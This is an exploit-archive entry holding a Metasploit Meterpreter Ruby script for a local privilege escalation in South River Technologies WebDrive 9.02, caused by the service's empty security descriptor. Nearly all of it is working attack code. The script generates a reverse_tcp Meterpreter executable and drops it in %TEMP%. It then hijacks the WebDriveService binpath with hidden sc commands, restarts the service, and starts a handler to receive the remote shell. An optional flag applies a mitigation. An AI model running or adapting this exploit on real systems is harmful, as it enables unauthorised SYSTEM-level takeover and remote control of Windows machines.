Author

Trancer

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-10177

Category

local exploits

Date add

26-01-2010

Platform

unsorted

============================================================================================
South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation
============================================================================================


##
# South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.
#
#  This module exploits a privilege escalation vulnerability in South River Technologies WebDrive.
#  Due to an empty security descriptor, a local attacker can gain elevated privileges.
#  Tested on South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3.
#  Vulnerability mitigation featured.
#
##
 
#
# Options
#
opts = Rex::Parser::Arguments.new(
    "-h"  => [ false,  "This help menu"],
    "-m"  => [ false,  "Mitigate"],
    "-r"  => [ true,   "The IP of the system running Metasploit listening for the connect back"],
    "-p"  => [ true,   "The port on the remote host where Metasploit is listening"]
)
 
#
# Default parameters
#
 
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
sname = 'WebDriveService'
pname = 'wdService.exe'
 
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
    case opt
    when "-h"
        print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.")
        print_line(opts.usage)
        raise Rex::Script::Completed
    when "-m"
        client.sys.process.get_processes().each do |m|
            if ( m['name'] == pname )
                print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
                 
                # Set correct service security descriptor to mitigate the vulnerability
                print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.")
                client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", nil, {'Hidden' => 'true'})
            end
        end
        raise Rex::Script::Completed
    when "-r"
        rhost = val
    when "-p"
        rport = val.to_i
    end
end
 
client.sys.process.get_processes().each do |m|
    if ( m['name'] == pname )
 
        print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
 
        # Build out the exe payload.
        pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
        pay.datastore['LHOST'] = rhost
        pay.datastore['LPORT'] = rport
        raw  = pay.generate
 
        exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
 
        # Place our newly created exe in %TEMP%
        tempdir = client.fs.file.expand_path("%TEMP%")
        tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
        print_status("Sending EXE payload '#{tempexe}'.")
        fd = client.fs.file.new(tempexe, "wb")
        fd.write(exe)
        fd.close
 
        # Stop the vulnerable service
        print_status("Stopping service \"#{sname}\"...")
        client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'})
 
        # Set exe payload as service binpath
        print_status("Setting \"#{sname}\" to #{tempexe}...")
        client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'})
        sleep(1)
         
        # Restart the service
        print_status("Restarting the \"#{sname}\" service...")
        client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'})
 
        # Our handler to recieve the callback.
        handler = client.framework.exploits.create("multi/handler")
        handler.datastore['PAYLOAD']        = "windows/meterpreter/reverse_tcp"
        handler.datastore['LHOST']          = rhost
        handler.datastore['LPORT']          = rport
        handler.datastore['ExitOnSession']  = false
 
        handler.exploit_simple(
            'Payload'   => handler.datastore['PAYLOAD'],
            'RunAsJob'  => true
        )
 
        # Set service binpath back to normal
        client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'})
             
    end
end



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